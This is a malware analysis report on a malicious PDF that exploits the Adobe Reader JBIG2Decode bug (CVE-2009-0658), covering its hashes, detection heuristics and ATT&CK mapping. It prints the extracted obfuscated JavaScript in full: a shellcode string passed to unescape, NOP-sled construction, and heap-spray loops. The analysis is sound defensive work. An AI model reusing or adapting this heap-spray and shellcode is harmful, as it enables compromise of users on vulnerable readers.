Malicious PDF — malware analysis report

Static analysis result for SHA-256 4e8ff539aa172209…

MALICIOUS

PDF

6.8 KB First seen: 2013-07-25
MD5: eb4d442713f3b54a9b018d427e8e0331 SHA-1: be20c0253128d5b78e61d982ff511bf117b5c80b SHA-256: 4e8ff539aa172209ed419ee7a244f7ffd8769477786473f7708ab695383551fc
466 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.001 Malicious Link T1204.002 Malicious File

The PDF file contains obfuscated JavaScript and triggers a critical heuristic for the CVE-2009-0658 JBIG2Decode heap-spray exploit. This indicates the file is designed to compromise systems by leveraging a known vulnerability in older versions of Adobe Reader. The embedded JavaScript is likely responsible for downloading and executing a secondary payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 9

  • Adobe Reader JBIG2Decode generic heap-spray exploit critical CVE likely CVE_2009_0658_GENERIC_SPRAY
    PDF combines JBIG2Decode image streams with JavaScript heap-spray or decoder scaffolding. This is likely CVE-2009-0658-family Adobe Reader JBIG2 exploitation, but it lacks the stricter Reader-9 version gate or decoded page-word shellcode fingerprint required by the exact rule.
  • JBIG2 + active content high CVE related PDF_JBIG2_ACTIVE_CONTENT
    JBIG2Decode appears with JavaScript/XFA/RichMedia — a related indicator for JBIG2 parser-exploit families including CVE-2021-30860 and CVE-2009-0658, but not a unique CVE fingerprint.
  • ClamAV: Heuristics.PDF.ObfuscatedNameObject critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Heuristics.PDF.ObfuscatedNameObject
  • Hex-obfuscated scripting name object critical PDF_OBFUSCATED_NAME_OBJECT
    A PDF name object that drives script execution (/JavaScript or /JS) is written with #XX hex escapes to hide it from string-based scanners — e.g. /J#61v#61S#63r#69p#74 decoding to /JavaScript. Legitimate PDF producers always write these names literally; hex-encoding an executable name is a deliberate evasion used by exploit-kit and dropper PDFs.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
      var ieDXeCViLuxHUnUPGaXnMzlcquFzqXWqmRqnL = "";
  var TwbBD = unescape("%u757f%u4276%u0a46%u99d5%u92b8%ubebb%u7498%uf512%u14b4%u7e4f%u902f%u4b40%ud088%u24e3%u788d%u3a35%u41fd%uf903%u0471%u4e72%ua81c%uf721%u70eb%u497c%u66b1%ufc1b%u7a7d%u087c%u7be3%u737f%ub548%u9fbe%u7077%u791c%ub446%u8db5%u0d7e%ub814%uf981%u2772%u78b6%ubb24%u75a9%ub240%u979b%u2bb3%u93fc%u0515%ud46b%u981d%u42bf%u2c74%u3c66%ub00c%ua8b7%u3076%u4ee0%ud686%u48b1%u674f%ufd00%u3f04%u4771%u8390%u43f8%u322f%u2deb%u35ba%u2392%u3dd5%u254b%u4991%ub996%uf51a%u0937%ue1d2%u2934%u41e2%u994a%u …
  var gPSGXFWKVAJRHKgMpOaAZPNlCNfYoNV = "";
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • JBIG2Decode filter medium PDF_JBIG2
    JBIG2 image decoder present — historically used in zero-click exploits
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0006_000.js pdf-javascript-stream PDF /JS object 6 at offset 0x219 5521 bytes
SHA-256: 0ddb3c9c0f85a90a781db79a4feb225d258dc553f136f8a9c7c0d2e400e95262
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 11 of 16 identifiers look randomly generated (e.g. 'qWxQKOydyXGKhMlgdhohPjpJvgTDyQahnxvzSoBX') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var qWxQKOydyXGKhMlgdhohPjpJvgTDyQahnxvzSoBXCJfHStoTRY = "";
		var ieDXeCViLuxHUnUPGaXnMzlcquFzqXWqmRqnL = "";
		var TwbBD = unescape("%u757f%u4276%u0a46%u99d5%u92b8%ubebb%u7498%uf512%u14b4%u7e4f%u902f%u4b40%ud088%u24e3%u788d%u3a35%u41fd%uf903%u0471%u4e72%ua81c%uf721%u70eb%u497c%u66b1%ufc1b%u7a7d%u087c%u7be3%u737f%ub548%u9fbe%u7077%u791c%ub446%u8db5%u0d7e%ub814%uf981%u2772%u78b6%ubb24%u75a9%ub240%u979b%u2bb3%u93fc%u0515%ud46b%u981d%u42bf%u2c74%u3c66%ub00c%ua8b7%u3076%u4ee0%ud686%u48b1%u674f%ufd00%u3f04%u4771%u8390%u43f8%u322f%u2deb%u35ba%u2392%u3dd5%u254b%u4991%ub996%uf51a%u0937%ue1d2%u2934%u41e2%u994a%u107f%ub2d6%u488d%u749b%u7573%u410d%ue101%ud428%u43b0%u922f%ub167%ud585%uf83b%ue284%uf513%u2c47%u1491%ubf4e%u909f%u893f%u3de0%u98b3%ub8be%u72a9%u0c70%u767d%u3427%u2471%u047e%u2066%u05eb%u79b5%u4237%uba25%ub446%u4a78%ufd0b%ub64b%ue380%ub91c%u9697%ua835%u7a49%u402d%u3c7b%u69bb%u7cfc%u774f%u231d%u76f9%u797a%u1571%u93b7%ub799%u8db1%u9846%u29b5%u67eb%u1d7e%u3f4f%u2db3%u7b48%u2472%u43b4%u37ba%u21a8%ue3f6%u3270%u2fe2%ue188%u9134%u7f7d%u1425%u0c7c%u1599%ub093%u3da9%ud284%u05fc%ub842%u1077%u49f8%u0890%u40d5%u4a66%uf513%u9fbf%u4704%u412c%u8692%u4bf9%ud389%u75e0%u351c%ub227%u3196%ubed6%u0d78%u9b97%u733c%u0a74%ubbfd%ub6b9%u184e%u83d4%u4be3%u14a9%u993f%ub698%u0179%uc6f7%uc0c7%u96fc%u2c7f%u4871%u1973%u40e0%ub2b0%ubbb5%u2f7d%ube9b%ud66b%u2475%ueb1a%u771d%u0c74%u3446%u9115%u92bf%u724e%u784f%u1c7c%u3b42%ub9d5%u353c%u25b8%ud412%u2db1%ue12a%u9747%u05ba%ufd28%u7641%u3366%ub7f5%u118d%u20f9%uc1fe%u22f8%u27e2%u3db3%u3704%u0d90%u7b93%ua867%u7a7e%u4970%u9f4a%ub443%u8db4%u2473%u903c%u7e74%ub84e%ue18c%u0266%u2ce3%ua948%u0576%u7093%u417c%u7d9b%u712f%uf538%u0067%u46d5%u037a%u98fd%u3437%ub9bb%u3d96%u1b7f%ub5d4%u77b2%u1c7b%ud085%u49e2%u81b3%u4afc%u1d72%u2d75%ub191%u79a8%u4042%ub70c%ud139%u25eb%ud630%ub0be%u3f78%uba27%u434b%ubf9f%uf987%u9992%u0435%uf887%u090d%u14e0%ub697%u474f%u7515%u3a78%u76e1%u6779%u7bb7%u7277%u7043%u147a%u2cb3%ufd80%ub696%ue38c%u487c%u717d%u4e25%ua915%u478d%ubbba%u8337%ub9f8%uf52b%ud503%u4974%u899f%ufcc0%u42b2%u7e73%ub134%u4f90%ueb28%ub54b%u350d%u2d40%ue211%ud630%ud413%u271c%u1d04%u1005%u46e0%u0c3c%u41be%ub03f%u9b91%u7f98%uf931%ub43d%ua8bf%u6699%u9724%ub84a%u9293%u0973%u18e3%uc1ff%u2feb%u91a9%ud012%ubad5%u2f3d%u9366%u4670%u237a%ud4f6%u9fb7%ue286%ub024%u48be%u4e76%u3543%u9b1d%uf584%u9092%u3fb6%u7967%u347d%ub31c%u1b78%u21d6%u08e0%ub5f8%u7275%u2740%u4a71%u2097%u04e1%u6ba8%u49fd%u7b99%u777e%ubf42%u254b%u4115%u9614%ub84f%ub905%u980d%u3cb4%ub18d%ufc0a%u2d7c%u0c7f%u2c74%u47bb%uf929%ub237%ub597%u0479%u1c48%u2225%u7ee3%ua966%u8d4f%u7691%ud23a%u4ae0%u711d%u3274%u3dfd%ub796%u0d70%u7578%uf738%u05eb%u77b6%ud101%u7de2%ub24e%u6798%ud669%u73b1%u7b2c%u880c%u2af5%u0bd5%u7ad4%u993f%ubab0%u3335%u00fc%u72e1%u9043%u3746%u49be%ub4bf%u9214%u2d7c%u7fbb%u4b40%ub39b%uf985%uf82b%ue280%u7927%ueb39%ub847%u247b%ub9a8%u197e%u42e1%u7393%u7f2f%u9f41%ue081%u7c34%u783c%u7415%u901d%ub567%ub7b3%u257d%u14ba%u71b2%uf51a%u708d%ufd24%u49b6%u9793%u9ba9%u3576%u3c4b%u024a%u2ce3%u922d%u0d72%u3b48%ub9d4%ube66%u157a%ub804%ud64e%u433d%u3734%ubb96%u0c75%u4f27%u479f%u4640%ub098%ufcf9%u91bf%u413f%u0577%ub41c%ud5a8%ub12f%uf8d3%u4299%uc2b8%udbb9%udb2d%ud9d5%u2474%u5bf4%uc931%u01b1%u4331%u0313%u1343%uc383%u5bc6%ue12e");
		var gPSGXFWKVAJRHKgMpOaAZPNlCNfYoNV = "";

		for (ydQibDIkAqZECwEafmjDmcBaeudhSkXDeKsCNGJYnuV=128;ydQibDIkAqZECwEafmjDmcBaeudhSkXDeKsCNGJYnuV>=0;--ydQibDIkAqZECwEafmjDmcBaeudhSkXDeKsCNGJYnuV) gPSGXFWKVAJRHKgMpOaAZPNlCNfYoNV += unescape("%u371c%ufd1b");
		EgjsFxdOMAPROACkQd = gPSGXFWKVAJRHKgMpOaAZPNlCNfYoNV + TwbBD;
		JkUzG = unescape("%u371c%ufd1b");
		eZqgfDEQwEinJalC = 20;
		SuqJHkDRcDnpbVXIgvUwFV = eZqgfDEQwEinJalC+EgjsFxdOMAPROACkQd.length
		while (JkUzG.length<SuqJHkDRcDnpbVXIgvUwFV) JkUzG+=JkUzG;
		wfee = JkUzG.substring(0, SuqJHkDRcDnpbVXIgvUwFV);
		JjIkCMo = JkUzG.substring(0, JkUzG.length-SuqJHkDRcDnpbVXIgvUwFV);
		while(JjIkCMo.length+SuqJHkDRcDnpbVXIgvUwFV < 0x40000) JjIkCMo = JjIkCMo+JjIkCMo+wfee;
		lmtDNcWjtDryTwAfZu = new Array();
		for (ydQibDIkAqZECwEafmjDmcBaeudhSkXDeKsCNGJYnuV=0;ydQibDIkAqZECwEafmjDmcBaeudhSkXDeKsCNGJYnuV<100;ydQibDIkAqZECwEafmjDmcBaeudhSkXDeKsCNGJYnuV++) lmtDNcWjtDryTwAfZu[ydQibDIkAqZECwEafmjDmcBaeudhSkXDeKsCNGJYnuV] = JjIkCMo + EgjsFxdOMAPROACkQd;

		for (ydQibDIkAqZECwEafmjDmcBaeudhSkXDeKsCNGJYnuV=142;ydQibDIkAqZECwEafmjDmcBaeudhSkXDeKsCNGJYnuV>=0;--ydQibDIkAqZECwEafmjDmcBaeudhSkXDeKsCNGJYnuV) ieDXeCViLuxHUnUPGaXnMzlcquFzqXWqmRqnL += unescape("%ub550%u0166");
		XEUU = ieDXeCViLuxHUnUPGaXnMzlcquFzqXWqmRqnL.length + 20
		while (ieDXeCViLuxHUnUPGaXnMzlcquFzqXWqmRqnL.length < XEUU) ieDXeCViLuxHUnUPGaXnMzlcquFzqXWqmRqnL += ieDXeCViLuxHUnUPGaXnMzlcquFzqXWqmRqnL;
		PMpEwDMUaascJElXhmcgKfIAsXeOiKoesnsj = ieDXeCViLuxHUnUPGaXnMzlcquFzqXWqmRqnL.substring(0, XEUU);
		RdvLsrHdruMBvSowDCXEnQxHaegHKlZcnzrEMzBvotQm = ieDXeCViLuxHUnUPGaXnMzlcquFzqXWqmRqnL.substring(0, ieDXeCViLuxHUnUPGaXnMzlcquFzqXWqmRqnL.length-XEUU);
		while(RdvLsrHdruMBvSowDCXEnQxHaegHKlZcnzrEMzBvotQm.length+XEUU < 0x40000) RdvLsrHdruMBvSowDCXEnQxHaegHKlZcnzrEMzBvotQm = RdvLsrHdruMBvSowDCXEnQxHaegHKlZcnzrEMzBvotQm+RdvLsrHdruMBvSowDCXEnQxHaegHKlZcnzrEMzBvotQm+PMpEwDMUaascJElXhmcgKfIAsXeOiKoesnsj;
		uFIPudsKnCzaDBAfQHRBLMoEsELqmnIhYHChFVLdidh = new Array();
		for (ydQibDIkAqZECwEafmjDmcBaeudhSkXDeKsCNGJYnuV=0;ydQibDIkAqZECwEafmjDmcBaeudhSkXDeKsCNGJYnuV<175;ydQibDIkAqZECwEafmjDmcBaeudhSkXDeKsCNGJYnuV++) uFIPudsKnCzaDBAfQHRBLMoEsELqmnIhYHChFVLdidh[ydQibDIkAqZECwEafmjDmcBaeudhSkXDeKsCNGJYnuV] = RdvLsrHdruMBvSowDCXEnQxHaegHKlZcnzrEMzBvotQm + ieDXeCViLuxHUnUPGaXnMzlcquFzqXWqmRqnL;
javascript_obj0006_000_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 6 at offset 0x219 1024 bytes
SHA-256: fc53db50ecfeaac2a6408f0edd791fb3064c40a1b3c6f6238761ef6939ea761d
Detection
ClamAV: Win.Trojan.MSShellcode-6360729-4
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.